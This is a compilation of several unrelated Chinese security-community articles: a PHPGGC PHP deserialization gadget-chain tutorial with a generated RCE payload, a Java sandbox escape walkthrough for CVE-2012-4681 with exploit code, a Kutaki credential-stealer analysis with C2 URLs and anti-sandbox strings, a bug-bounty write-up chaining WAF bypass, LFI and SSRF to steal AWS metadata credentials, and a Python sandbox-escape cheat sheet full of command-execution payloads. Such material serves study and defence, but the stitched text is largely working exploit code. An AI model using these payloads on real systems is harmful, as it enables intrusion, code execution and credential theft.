对于渗透测试人员来说，如果发现了反序列化数据的方法，那剩下的问题就是找到正确的gadgets。如果不知道应用源码，那只能转向使用二进制的exp，这可能非常耗费时间，尽管这能成功。
越来越多的web开发者选择使用框架而不是从零开始编写所有内容。常见的框架有Laravel、Symfony、Zend、Code Igniter等等。
结合开发中的实际情况（比如说php的自动加载机制经常被使用，文件之间的依赖通过composer.json来管理）考虑下，在对环境不了解情况下，成功的利用`unserialize()`一般源于gadget构建的攻击载荷，gadget是从通用库中提取出来的。如果渗透测试人员无法识别应用开发的框架/库，逐一测试攻击载荷仍是个办法。
# 建立gadget"军火库"
因为黑暗中探索非常费时间，所以我们建立了一个gadget
chain库，它和java的反序列化利用工具库[ysoserial](https://github.com/frohoff/ysoserial)相似。我们投入了时间去研究每个主流php框架并为之构建了RCE或文件。
让我们访问下[PHPGGC](https://github.com/ambionics/phpggc)（这是一个`unserialize()`攻击载荷的库，也可以说一款能够通过命令行或编程生成反序列攻击载荷的工具）。PHPGGC的使用非常简单，你只需要选择一种gadget
chain，然后指定你想执行的命令，攻击载荷就生成了。
我们已经为以下这些框架更新了最新的攻击载荷：
* Laravel
* Symfony
* SwiftMailer
* Monolog
* SlimPHP
* Doctrine
* Guzzle
你可以通过下面的命令列出攻击载荷：
$ ./phpggc -l
Gadget Chains
-------------
[...]
Name : Guzzle/FW1
Version : 6.0.0 <= 6.3.0
Type : file_write
Vector : __destruct
Name : Laravel/RCE1
Version : 5.4.27
Type : rce
Vector : __destruct
Name : Monolog/RCE1
Version : 1.18 <= 1.23
Type : rce
Vector : __destruct
Name : Monolog/RCE2
Version : 1.5 <= 1.17
Type : rce
Vector : __destruct
Name : Slim/RCE1
Version : 3.8.1
Type : rce
Vector : __toString
Name : SwiftMailer/FW1
Version : 5.1.0 <= 5.4.8
Type : file_write
Vector : __toString
[...]
接着通过这个命令生成攻击载荷:
$ ./phpggc slim/rce1 'phpinfo();'
O:18:"Slim\Http\Response":2:{s:10:"*headers";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"all";a:2:{i:0;O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"has";s:6:"assert";}s:24:"Pimple\Containervalues";a:1:{s:3:"has";s:6:"assert";}s:22:"Pimple\Containerkeys";a:1:{s:3:"has";s:6:"assert";}}}}i:1;s:10:"phpinfo();";}}s:24:"Pimple\Containervalues";a:1:{s:3:"all";a:2:{i:0;r:6;i:1;s:10:"phpinfo();";}}s:22:"Pimple\Containerkeys";a:1:{s:3:"all";a:2:{i:0;r:6;i:1;s:10:"phpinfo();";}}}}s:7:"*body";s:0:"";}
该工具还有许多其他可选项，详情可参阅README文件。因为PHPGGC已经完成，所以构建你自己的gadget
chains是非常容易和直接的。同时你也可以通过pull请求来为其贡献代码，或者通过github的issue向我们反馈或提bug。
现在，让我们来看如何使用这个工具的例子。
# 例子：利用Piwik最新的对象注入漏洞
去年八月初，Egidio
Romano在Piwik(版本低于2.16.0)中发现一个漏洞，该漏洞允许调用`unserialize()`函数。然而，他并没有给出攻击载荷。因为Piwik使用了Symfony,
Zend, and Monolog，所以有效攻击载荷非常容易构建。
这里示例选择了Monolog攻击载荷，命令如下：
接着将攻击载荷写入到正确的位置，我们获得了phpinfo信息：
你可以在github上找到[PHPGGC](https://github.com/ambionics/phpggc)这款工具。
# 参考
[原文](https://www.ambionics.io/blog/php-generic-gadget-chains)
[rop](https://en.wikipedia.org/wiki/Return-oriented_programming#cite_note-2)
gadget出处在这。
[introduction-to-return-oriented-programming-rop](http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html)
[rop attack](http://resources.infosecinstitute.com/return-oriented-programming-rop-attacks/#gref)
**gadget** : _A 'gadget' is a fragment of executable code already existing in
the memory of a target system which a hostile program hijacks and exploits for
its own purposes_
如能较好的将gadget和gadget chain译为中文术语，请私信我。 | 社区文章 |
原文：<http://phrack.org/papers/escaping_the_java_sandbox.html>
在前面几篇文章中，我们为读者全面介绍了基于内存破坏型漏洞的沙箱逃逸技术。从本文开始，我们将介绍Java级别的漏洞。首先，让我们来了解一下糊涂的代理人漏洞。
\--[ 4 - Java级别的漏洞
\----[ 4.1 - 糊涂的代理人漏洞
\------[ 4.1.1 - 背景知识
在Java平台上，糊涂的代理人攻击是一种很常见的攻击类型。具体的例子包括针对CVE-2012-5088、CVE-2012-5076、CVE-2013-2460以及CVE-2012-4681漏洞的攻击，这些示例将在下面详细介绍。这种攻击类型的基本思路是，利用访问私有方法或系统类的字段的代码，以便（例如）停用安全管理器。但是，漏洞利用代码不是直接访问所需的类成员，而是让受信任的系统类来完成相应的操作。要想滥用系统类，典型的方法就是滥用反射或MethodHandles的不安全用法，例如，让一个受信任的系统类对目标字段执行可由安全分析人员控制的反射型读取访问。
**\------[ 4.1.2 -示例： CVE-2012-4681**
* * *
我们将考察CVE-2012-4681漏洞，因为这是一个典型的糊涂的代理人攻击。
首先，我们需要获取_sun.awt.SunToolkit_的访问权限，由于这是一个受限制的类，所以，不受信任的代码是无法访问它的。
1: Expression expr0 = new Expression(Class.class, "forName",
2: new Object[] {"sun.awt.SunToolkit"});
3: Class sunToolkit = (Class)expr.execute().getValue();
上面就是利用这个漏洞的方法。即使我们将Class.forName()指定为Expression的目标方法，但实际上并不会调用这个方法。相反，_Expression_实现了专门针对这种情况的定制逻辑，会在没有正确检查访问权限的情况下加载类。因此，_Expression_在这里会充当我们糊涂的代理人，替我们加载一个我们无权加载的类。
接下来，我们就可以使用SunToolkit.getField()方法来访问私有字段Statement.acc了。
1: Expression expr1 = new Expression(sunToolkit, "getField",
2: new Object[] {Statement.class, "acc"});
3: Field acc = expr1.execute().getValue();
getField()是另一个糊涂的代理人，在它的帮助下，我们可以通过反射机制来访问系统类的私有字段。以下代码演示了getField()方法是如何使用doPrivileged()来读取相应的字段的，并将其设置为可访问，以便稍后可以修改其值。
SunToolkit.java
1: public static Field getField(final Class klass,
2: final String fieldName) {
3: return AccessController.doPrivileged(
4: new PrivilgedAction<Field>() {
5: public Field run() {
6: ...
7: Field field = klass.getDeclaredField(fieldName);
8: ...
9: field.setAccessible(true);
10: return field;
11: ...
接下来，我们创建一个 _AccessControlContext_ ，它将被授予全部的权限。
1: Permissions permissions = new Permissions();
2: permissions.add(new AllPermission());
3: ProtectionDomain pd = new ProtectionDomain(new CodeSource(
4: new URL("file:///"), new Certificate[0]), permissions);
5: AccessControlContext newAcc =
6: AccessControlContext(new ProtectionDomain[] {pd});
_Statement_对象能够代表任意的方法调用。创建_Statement_实例时，会把当前的安全上下文存放到Statement.acc中。调用Statement.execute()时，它会在存放于Statement.acc中的那个原来的安全上下文中执行其代表的调用，以保证它调用该方法时所拥有的权限，与直接调用它时所拥有的权限相同。
接下来，我们创建一个代表System.setSecurityManager（null）调用的 _Statement_ ，并用被赋予了全部的权限的新
_AccessControlContext_ ，来覆盖掉存放在Statement.acc中的 _AccessControlContext_ 。
1: Statement stmt = new Statement(System.class, "setSecurityManager",
2: new Object[1]);
3: acc.set(stmt, newAcc)
最后，我们调用stmt.execute()来实际执行对setSecurityManager()的调用。这个调用将会成功，因为stmt.acc中的安全上下文，已经被拥有全部特权的安全上下文替换掉了。
**\------[ 4.1.3 - 讨论**
* * *
糊涂的代理人攻击问题，在本质上是由Java平台安全的核心概念引起的。沙箱的一个关键机制是基于堆栈的访问控制：在进行敏感操作前，会对调用堆栈进行检查，例如，看看是否允许不受信任的代码直接访问敏感的类成员。但是，对于堆栈的检查工作，在某些情况下，会在检查当前堆栈上的所有调用方是否具有适当权限之前终止。引发终止行为的常见情况有两种。在第1种情况下，堆栈上的某个调用方通过调用doPrivileged()来显式声明所需的操作是安全的，即使从非特权代码调用也是如此。虽然doPrivileged()通常是一种明智的机制，但在未采取全面的预防措施来确保特定操作的安全性的情况下，它也可能被错误地使用。在第2种情况下，系统类的方法只对直接调用方的属性进行了亲自的检查，并跳过JVM的访问控制机制的检查，而该机制还将检查堆栈上的其他调用方。在这两种情况下，安全分析人员只需以系统类的名义执行某些敏感操作，就能从不完整的堆栈遍历中获益匪浅。
**小结**
* * *
从本文开始，我们将介绍Java级别的漏洞。在本文中，我们讲解了糊涂的代理人漏洞方面的内容，在下一篇文章中，我们将继续为读者介绍更多精彩内容，敬请期待。 | 社区文章 |
# Kutaki恶意软件绕过网关窃取用户凭证
|
##### 译文声明
本文是翻译文章，文章原作者 cofense，文章来源：cofense.com
原文地址：<https://cofense.com/kutaki-malware-bypasses-gateways-steal-users-credentials/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是一个恶意软件在用户眼皮底下进行攻击的案例。最近我们发现了一起网络钓鱼攻击活动，该活动通过将Kutaki恶意软件隐藏在合法的应用程序中来绕过电子邮件网关，从而获取用户凭据信息。
虽然Kutaki窃密软件使用的反沙箱和反调试技术略显落后，但不要小看它。它对未硬件化虚拟机及其他一些分析工具具有很好的对抗性。可以绕过很多常规的检测手段。
可以通过点击这里了解[Cofense Intelligence](https://cofense.com/product-services/phishing-intelligence/)的IT团队如何在诸如此次活动在内的网络钓鱼活动和恶意软件威胁方面处于行业领先地位。
## 细节
Cofense Intelligence最近发现了一起小范围的网络钓鱼活动，这起活动在合法的[Visual
Basic](https://github.com/marifrahman/RMS/tree/master/CODE)应用中隐藏Kutaki窃取软件和键盘记录器，将其作为OLE包放置在Offic文档中来完成分发。
Kutaki使用了一系列反虚拟化和反分析技术，但看起来这些技术都是从2010年至2011年的一些博客中借鉴而来。Kutaki
窃密软件可以从键盘，鼠标，剪贴板，麦克风和屏幕（以屏幕截图形式）等途径来收集用户输入的信息。我们还发现
Kutaki通过在Windows中执行[cURL](https://curl.haxx.se/windows/)来检索目标主机是否带有SecurityXploded推出的[BrowserPasswordDump](https://securityxploded.com/browser-password-dump.php)工具。
虽然它使用的逃避检测技术不够先进，但在对抗检测和分析方面，仍有不少亮点。
## 藏在眼皮底下：混淆
这个Kutaki变种将恶意内容隐藏在Visual Basic培训应用中。试图通过隐藏在看似正常的Visual
Basic培训应用中这种手段来使自己处于白名单，并且轻而易举的绕过静态签名检测。
图1：项目详情
图2：项目代码块
即使不是专业的程序员，也看的出这里有些程序看起来似乎放在了错误的分支下，除此之外还可以看到到表单（GUI元素）和控制它们的程序之间存在紧密关联。图3展现了他们的映射关系。
图3:表单元素与其代码相对应
通过对程序进行检查，可以发现应用被安装了后门。如图4，将合法程序结构和被注入了后门的程序进行了对比。
图4：”ff”和”frmLogin”是原生程序，而”chee”、”saamneao”、”dewani”以及”ende”是注入的后门
我们不仅看出命名上的差异（大部分合法程序以”frm“开头），还可推断出注入程序采用的随机命名的方式。除此之外，那些被注入了后门的函数，函数名无法解析，只是由解码器临时分配。
注入这种后门时使用了混淆技术，通过 rtcStrReverse函数可以解码经反转的二进制字符串。如图5，即为一个混淆实例。
图5：3个使用rtcStrReverse对混淆字符串进行解码的实例
在隐藏可疑API调用时，使用了很多类似的字符串混淆。图6展示了对于[Sleep](https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-sleep)和
[ShellExecuteA](https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea)字符串的混淆。
图6：Sleep和ShellExecuteA字符串
这些字符串是DllFunctionCall（Visual Basic应用中，一种可以特定DLL文件从检索函数地址的方法）中一个很小的结构体。如下所示：
typedef struct _DllFunctionCallDataStruct {
void * lpLibName;
void * lpExportName;
} DllFunctionCallDataStruct;
在图6中，我们可以看到这些结构是如何进行映射的。对于DLLFunctionCall的调用，封装在类似的代码段中，如图7所示。
图7：典型封装：DllFunctionCall调用
通过仔细分析，我们找到了18个以这种方法进行混淆的API，详见图8：
图8：对Kutaki执行恶意行为时调用的API进去去混淆
## 反虚拟化
Kutaki使用了一些基本的检测和对比来验证自身是否运行在虚拟化环境中。首先它会读取注册表值`HKLMSystemCurrentControlSetServicesDiskEnum`,并将返回结果与“undesirable”字符串进行比较。图9为读取注册表代码。
图9：Kutaki从注册表读取磁盘信息
这个注册表表值中包含了当前计算机的磁盘信息。第一个磁盘对应的值为“0”，第二个磁盘对应的值为“1”，依此类推。在该分析VM的实例中，值0包含图10中观察到的数据。如图10，为分析反VM功能时，该计算机注册表值为0的实例。
图10：DisksEnum注册表值实例
上图中突出显示的部分说明了该磁盘属于[VirtualBox
VM](https://www.virtualbox.org/)。图11和图12对两种用来识别不同类型虚拟机的进行了比较。而图13展示了Kutaki使用的所有虚拟化检测字符串。
图11：检测注册表值中是否包含“VIRTUAL”字符串
图12：检测注册表值中是否包含“VBOX”字符串
图13：进行虚拟化检测的字符串
图12中的字符串比较结果将与图10中注册表值进行匹配。匹配成功后，Kutaki不会立刻退出，而是继续进行其他虚拟化检测。只有当所有检测完成后，它才会判断是否继续运行。图14展示了该机制的执行流程，有关检测器的细节将在后文进行详细说明。
图14：反分析/虚拟化流程
为了完善磁盘检测。Kutaki 将[CreateToolhelp32Snapshot](https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot),
[Module32First ](https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-module32first)和
[Module32Next](https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-module32next)结合，来确定沙盒及调试工具相关模块是否已经注入到内存地址中。这些API会对正在运行的进程进行快照（包括堆、模块等），找到第一个模块后，会对已经映射到进程的后续模块进行迭代。图15展示了Kutaki设置快照并对指向第一个模块的指针进行检索。
图15：Kutaki建立模块识别循环
Kutaki
会对sbiedll.dll和dbghelp.dll这两个分别属于[Sandboxie](https://www.sandboxie.com/SBIE_DLL_API)和[Microsoft](https://docs.microsoft.com/en-us/windows/desktop/debug/debug-help-library)的dll文件进行检测，图16展示了对dbghelp.dll的去混淆及对比检测。
图16：对Windows Debug DLL的去混淆及对比检测
对比的结果将保存在数据结构体中，之后由_check_anti_analysis进行检测。
在最终的反虚拟化检测之前，Kutaki会再次读取注册表值`HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion`，来检查CurrentVersion项中是否存在一些特殊的
ProductID值。图17展示了该技术。
图17：打开注册表项进行值比较
Kutaki尝试寻找名为“ProductID”的值。如果找到一个具有该值的键，会将其与三个字符串进行比较，来识别当前环境为哪种沙箱平台。以下为大致描述此过程的伪代码：
p_id = RegQueryValueExA(“ProductID”)
if (p_id)){
if (p_id == ‘76487-337-8429955-22614’) {
return “Anubis”
}
elif (p_id == ‘76487-644-3177037-23510’) {
return “CWSandbox”
}
elif (p_id == ‘55274-640-2673064-23950’) {
return “JoeSandbox”
}
else {
return None
}
}
图18为Kutaki使用的这种循环嵌套。
图18：使用嵌套循环来检测沙箱
当所有的检测完成后，Kutaki会解析得到的结果，来确定是终止主循环还是继续进行。解析程序会解析每一个“非0”的返回值（即检测到某些东西），如果得到这种返回值，则退出主循环。图19为检测实例：
图19：对获取的反分析检查结果进行解析
## 行为
一旦Kutaki确定它没有被发现，它将继续进行窃取主机数据的行为。在窃取过程中，Kutaki先从资源中提取对应的图片，将其放到用户主机的临时文件夹中，然后使用`ShellExecuteA（“cmd.exe
/ c C： Users admin AppData Local Temp
images1.png”）`来打开它。这是一个诱饵图片，来欺骗使用户，使他们相信自己点击只是一个图片（实际为OLE包）。
该图片是一个发票模板，然而攻击者很少使用这个诱饵图片，因为使用谷歌快速搜索对“税务详细信息发票”关键词进行检索，这张图片就排在第二个。
实际上，攻击者真正使用的是这张图片：`hxxp：// batayneh [。] me / invoice-with-bank-details-template / invoice-with-bank-details-template-blank-tax-luxury /`
显示文档后，Kutaki会检查当前的可执行文件名称是否与字符串“hyuder”匹配，如果不匹配，将进行自我拷贝，并重命名为
`C:Users<username>AppDataRoamingMicrosoftWindowsStart
MenuProgramsStartuphyuder.exe`
图20为使用调试器中进行检查。 如果启动了新进程，父进程将不会退出，而是处于挂起状态。
图20：Kutaki将当前名称与所需名称进行比较
图21为Kutaki构建的文件路径，它会把自己的副本拷贝到该路径。 放置在启动文件夹中，从而实现持久性。
图21：Kutaki构建了用于拷贝自身副本并实现持久性的字符串
Kutaki继续执行其主要恶意功能。
这里要注意一下：可能有些读者会产生疑问，如果只是简单的重命名可执行文件“hyuder.exe”，是否会阻止它删除自己的副本？答案是会的。如果为定义好的文件名，它将直接执行而不会删除任何内容。其余的代码有点没有什么可研究之处，主要是因为几乎所有的发生的恶意行为都与二进制文件没有太大关联。
在继续进一步操作之前，Kutaki将与C2服务器进行通信，告知C2服务器又感染了一台新的主机。 图22是分析时观察到的相关流量
图22：Kutaki的C2服务器处于离线状态
Kutaki还携带了一个cURL( 一个从Linux移植而来的应用程序)，通过它可以使用命令行对联网资源进行访问。
虽然Kutaki可以像之前那样直接和C2建立连接来下载payload，然而在这个阶段它却使用了cURL来连接C2服务器下载此时所需的payload。虽然其中缘由不得而知，但可以确定的是使用cURL是攻击者所设定好的，因为Kutaki直接请求下载其他payload时C2服务器会出现拒绝连接，而当User
Agent为cURL时则可成功执行。图23记录了使用cURL与C2建立连接，获取第二阶段payload。
图23：Kutaki使用cURL下载并执行下一阶段的payload。 请注意User-Agent字符串“curl / 7.47.1”。
此时，下载的payload为SecurityXploded推出的BrowserPasswordDump工具。 此工具可以从以下浏览器中检索密码：
Firefox
Google Chrome
Microsoft Edge
Internet Explorer
UC Browser
Torch Browser
Chrome Canary/SXS Cool
Novo Browser
Opera Browser
Apple Safari
由于C2服务器已经下线，所以我们无法得知由于使用BrowserPasswordDump工具而导致的数据泄露情况。
## 历久弥新
虽然Kutaki使用了一些传统的，已经被广泛使用的技术来检测沙箱和调试。 这些对于未硬件化的虚拟机和其他一些分析工具仍然有效。
此外，通过将后门写入合法应用的手法可以绕过很多常规的检测技术。
要了解有关最近恶意软件趋势的更多信息，请阅读[2018年年终报告](https://cofense.com/)。
**ProductID检测**
76487-337-8429955-22614 // Anubis Sandbox
76487-644-3177037-23510 // CW Sandbox
55274-640-2673064-23950 // Joe Sandbox
**AntiVM字符串**
VIRTUAL
VBOX
*VMW
sbiedll.dll
Dbghelp.dll
**IoCs**
hxxp://babaobadf[.]club/kera/kera3x[.]php
hxxp://janawe[.]bid/FF/om2[.]exe
**hash**
89D45698E66587279460F77BA19AE456
A69A799E2773F6D9D24D0ECF58DBD9E3
70bf5dd41548e37550882eba858c84fa
8e4aa7c4adec20a48fe4127f3cf2656d | 社区文章 |
文章来源：<https://medium.com/logicbomb_1/the-journey-of-web-cache-firewall-bypass-to-ssrf-to-aws-credentials-compromise-b250fb40af82>
* * *
### 概述
Hello，伙计们。回归后我发现了一个有趣Bug，我迫不及待地想把我的挖掘经历分享出来。这此行动是由是一连串漏洞组合起来，包含不同层次的Bypass，最终可以获取印度最大股票经纪公司的AWS凭据。下面我将分享我绕过Web应用防火墙，再绕过Web缓存然后造成SSRF漏洞，最后获取到AWS账户凭据的过程。
### 漏洞挖掘
在第一阶段的测试过程中，我发现网站上一些端点与内部文件系统会发生一些交互，我开始检查是否存在LFI（本地文件包含）漏洞，但是这个网站被CloudFlare防火墙保护着——
#### Bypass WAF
如过要绕过防火墙，我只需请求直接发送至后端服务器。希望后端服务器或者均衡负载器没有设置请求IP白名单。
现在，我还需要找到后端服务器IP，简单运行`dig www.readacted.com`，就可以获取：
#### LFI
设置完Host后，我尝试通过LFI读取/etc/pass的内容，然后得到下面这个响应：
#### 读取AWS元数据
OK，现在我成功来过了防火墙并且造成LFI漏洞。然后我开始收集IP的whois信息，我发现该IP属于AWS。现在我的下一个目标则是通过SSRF漏洞来读取AWS账户凭据，我认为这一定可以实现，因为（端点名称）可以命名页面或者说URL的名字。于是我开始着手读取AWS实例的元数据（<http://169.254.169.254/latest/meta-data/）。>
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Apr 2019 14:32:48 GMT
Content-Type: text/css;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15552000
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Proxy-Cache: HIT
Content-Length: 0
##### Bypass Web cache
响应码为200，这表明请求与API发生交互，但只返回了一个空响应。但为什么会这样呢？仔细查看响应内容，你会发现服务器标头为`Nginx`，`X-Proxt-Cache`标头用于Nginx缓存层其值为HIT，因此当用户尝试访问AWS元数据时，首先会`HIT`Nginx缓存层，而缓存层为空值，响应自然也为空。
现在为了从服务器获取正常响应，我得绕过缓存层。首先，我需要理解Nginx缓存系统的URL缓存页面规则。
一些参考——
https://www.digitalocean.com/community/tutorials/how-to-implement-browser-caching-with-nginx-s-header-module-on-centos-7
https://www.howtoforge.com/make-browsers-cache-static-files-on-nginx
我的理解是缓存一般是在URL路由路径这个基础上完成的，所以如果某个URL为`https://somewebsite.com/a.html`，此URL与路由路径相匹配，然后触发缓存。但是如果把URL改为`https://somewebsite.com/a.html?`，那么URL路由路径将无法与缓存规则匹配，因此不会触发缓存，直接从服务器获取相应。所以我尝试`在http://169.254.169.254/latest/meta-data`后面加上`?`或者其他任意特殊字符，逃避URL路由路径的检测，下面是我得到的响应：
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Apr 2019 14:32:48 GMT
Content-Type: text/css;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15552000
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Proxy-Cache: MISS
Content-Length: 315
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
product-codes
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
可以看到`X-Proxt-Cache`的值已经变为`MISS`，这表明API调用并没有触发缓存，而是直接从服务器获取响应。
因此，我成功绕过了缓存层来利用SSRF漏洞读取AWS元数据。现在我还需要读取AWS元数据凭据（`http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?`）：
我最终我获取了AWS访问ID，密码访问密钥和一些token，使用它们我可以登入AWS账户，接触大量秘密内容。
### 小结
在这次渗透测试中，我首先绕过了Cloudflare防火墙，利用LFI漏洞然后通过绕过Web缓存机制将LIF提升为SSRF，最后我通过利用SSRF漏洞获取了AWS账户凭据。
### 时间线
* 2019年4月6日 - 报告给相关公司
* 2019年4月7日 - 反馈已修复
* 2019年4月7日 - 重新测试，确认修复
* 2019年4月9日 - 发放奖励 | 社区文章 |
## 概述
学弟写了个Python的qq机器人,有代码执行,试着逃逸了一波,顺变想总结一下以前看到的用`__code__`逃逸的姿势,所以有了这篇文章.
沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤达到更高权限,或者geshell的过程
## 字符串过滤
如果题目是通过正则过滤,eval,import 等危险字符,
### 任意字符的获取
首先我们要利用拼接等方式,获取任意字符,方便后续的绕过
#### 有引号的情况
如果没有过滤引号,那姿势就有很多了,假设目的字符为flag
'galf'[::-1]
\146\154\141\147 #8进制
\x66\x6c\x61\x67 #16进制
'flab'.replace('b','g')
'f'+'lag'
'f''lag'
a='fl';b='ag';f'{a}{b}'
'%clag'%(102)
chr(102)+'lag'
python2还可以通过hex(1718378855)[2:].decode('hex')这种方式得到任意字符,但是在python3中hex的解码被移动到了codecs.encode()中
都可以得到想要的字符
#### 无引号的情况
chr(102)+chr(108)+chr(97)+chr(103)
str().join(list(dict(fl=1,ag=2).keys()))
也可以通过dir(dir)[1][2]等获取单个字符然后拼接
### 代码执行
我们先看一些python的相关知识
1.
每个模块都有自己的globals变量空间,在局部作用域中,有locals变量空间,这些变量空间都可以通过globals(),locals()访问修改,个个模块之前的联系通过import实现,所有模块都引用一个builtins模块,提供python内建函数的支持
1. 函数或者对象方法都存在`func.__globals__`表示当前函数可访问的变量空间
code对象表示字节编译的可执行Python代码或字节码,函数的`func.__code__`执行当前函数的code对象
1. python所有的对象的基类为object对象,
关于代码执行的,我们大概有以下几个思路
1. 利用冷门执行命令的库
2. 利用getattr
3. 利用python code对象
4. 利用object 子类
#### 利用冷门执行命令的库
os
commands：仅限2.x
subprocess
timeit：timeit.sys、timeit.timeit(" **import** ('os').system('whoami')",
number=1) ##之后利用时间盲注
platform：platform.os、platform.sys、platform.popen('whoami', mode='r',
bufsize=-1).read()
pty：pty.spawn('ls')、pty.os
bdb：bdb.os、cgi.sys
cgi：cgi.os、cgi.sys
利用f-string,执行,但是因为不能编码,无法绕过一下过滤
f'{ **import** ("os").system("whoami")}'
#### globals\locals
`
globals()[' **builtin** ']. **dict**.get('eval')('1+1')
#### getattr\```__getattribute__\__dict__```
通过前文的任意字符的获取,我们已经获取了字符串'eval,而getattr可以帮我们得到实际的eval函数,
getattr返回对象命名属性的值,它实际上调用对象的```__getattribute__```魔术方法,并且对象的属性会存储在```__dict__```中
由前文我们知道,builtins是被所有模块引用,因此,我们可以通过这种访问获取builtins在获取eval方法,进行任意代码执行.
```
getattr(base64,'\x5f\x5fb\x75iltins\x5f\x5f').get('ev\x61l')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27whoami\x27\x29\x2e\x72\x65\x61\x64\x28\x29')
getattr(linecache,'os')
linecache.__dict__['os']
__builtins__.__dict__['eval']
__builtin__.__dict__['eval']
```
#### 利用python code对象
我们知道,代码的执行,实际上是执行code对象,因为我们可以之间构造code对象,进行任意代码执行
code对象的构造,可能要依赖具体的python版本,我的实验环境是python3.9
##### 利用complie构建
comlie可以获取一个code对象,然后利用type获取Function类执行这个code对象,这里传入一个外部模块方便我们 使用builtins
```
type(lambda*a:1)(compile('a.__builtins__["__import__"]("""os""").popen("whoami").read()','','eval'),dict(a=base64))()
```
##### 手工构建
随便自定义一个函数,然后修改函数```__code__```值,实现任意代码执行
def target():
print( **import** ('os').popen('whoami').read())
code="a=(lambda*a:1);a. **code** =type(target. **code**
)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
target. **code**.co_argcount,\
target. **code**.co_posonlyargcount,\
target. **code**.co_kwonlyargcount,\
target. **code**.co_nlocals,\
target. **code**.co_stacksize,\
target. **code**.co_flags,\
target. **code**.co_code.hex(),\
target. **code**.co_consts,\
target. **code**.co_names, \
target. **code**.co_varnames,\
target. **code**.co_filename,\
target. **code**.co_name,\
target. **code**.co_firstlineno,\
target. **code**.co_lnotab.hex(),\
target. **code**.co_freevars,\
target. **code**.co_cellvars)
print(code)
通过这种方式,把要执行的命令转成字符串的形式,配合前文字符串的绕过,成功进行代码执行
#### 利用object
object的子类中有所有的类,我们可以通过类方法的`func.__globals__`获取到builtins进而之间进行代码执行
需要因为需要重载过的类方法才有```__globals__```,所以59需要爆破
object. **subclasses** ()[59]. **init**. **globals** [' **builtins**
']['eval']('__import__\("os").popen("ls").read()'
[]. **class**. **bases** [0]. **subclasses** ()[59]. **init**. **globals** ['
**builtins** ']['eval']('__import__\("os").popen("ls").read()'
''. **class**. **mro** [2]. **subclasses** ()[59]. **init**. **globals** ['
**builtins** ']['eval']('__import__\("os").popen("ls").read()')
## 限制import
### 利用重载绕过限制
import的语法会调用```__import__```函数,而```importlib.import_module```是其背后的实现
要是上述都被限制
我们还可以通过````importlib.reload```重载```__builtins__```模块恢复限制,
若reload也无法使用,
### 直接执行绕过限制
我们可以通过之间执行,os.py 文件导入popen函数
exec(open('/usr/local/Cellar/[email protected]/3.9.1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py').read())
popen('ls').read()
###利用一下已经导入os的模块
或者利用一些已经导入os的模块
先获取所有子类
可以考虑利用class 'warnings.catch_warnings',从.
**init**.func_globals.values()[13]获取eval，map等等；又或者从.
**init**.func_globals[linecache]得到os
pyhton2
class 'warnings.catch_warnings'
59 是这个类,不同环境可能不一样,这个类的归属linecache模块,在这个模块中导入了os库
(). **class**. **bases** [0]. **subclasses** ()[59].
**init**.func_globals['linecache']. **dict** ['o'+'s'].
**dict**['sy'+'stem']('ls')
(). **class**. **bases** [0]. **subclasses** ()[59].
**init**.func_globals.values()[13]['eval']('__import__\("os").system("ls")')
Python3
(). **class**. **bases** [0]. **subclasses** ()[93]. **init**. **globals**
["sys"].modules["os"].system("ls")
[]. **class**. **base**. **subclasses** ()[127]. **init**.
**globals**['system']('ls')
这个思路大体为,因为可以通过object对象获取所有类,还可以通过函数```__globals__```,获取当前函数的作用域,如果一些内置模块导入了os等危险库,而恰巧对object对象获取所有类的方法的命名空间又可见,则可以通过globals获取已导入的os并利用.
具体可以参考
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/
### 加载c扩展绕过限制
如果os.py被删,
import还在的话,我们可以通过自定义加载器或者上传文件之间执行,加载自己实现的python模块,进行命令执行
# include <stdio.h>
void my_init(void) **attribute** ((constructor));
void my_init(void)
{
system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}
编译好so文件后写入/tmp/bk.so
先写入so文件,然后使用ctypes加载so
<class 'ctypes.CDLL'>，<class 'ctypes.LibraryLoader'>
(). **class**. **bases** [0]. **subclasses** ()[86](\(). **class**. **bases**
[0]. **subclasses** ()[85]).LoadLibrary('/tmp/bk.so')
### 利用pwn
参考```PlaidCTF 2014 '__nightmares__'
<https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/>
需要有操作文件的函数,劫持got表,从而rce
参考TCTF 2017 final Python
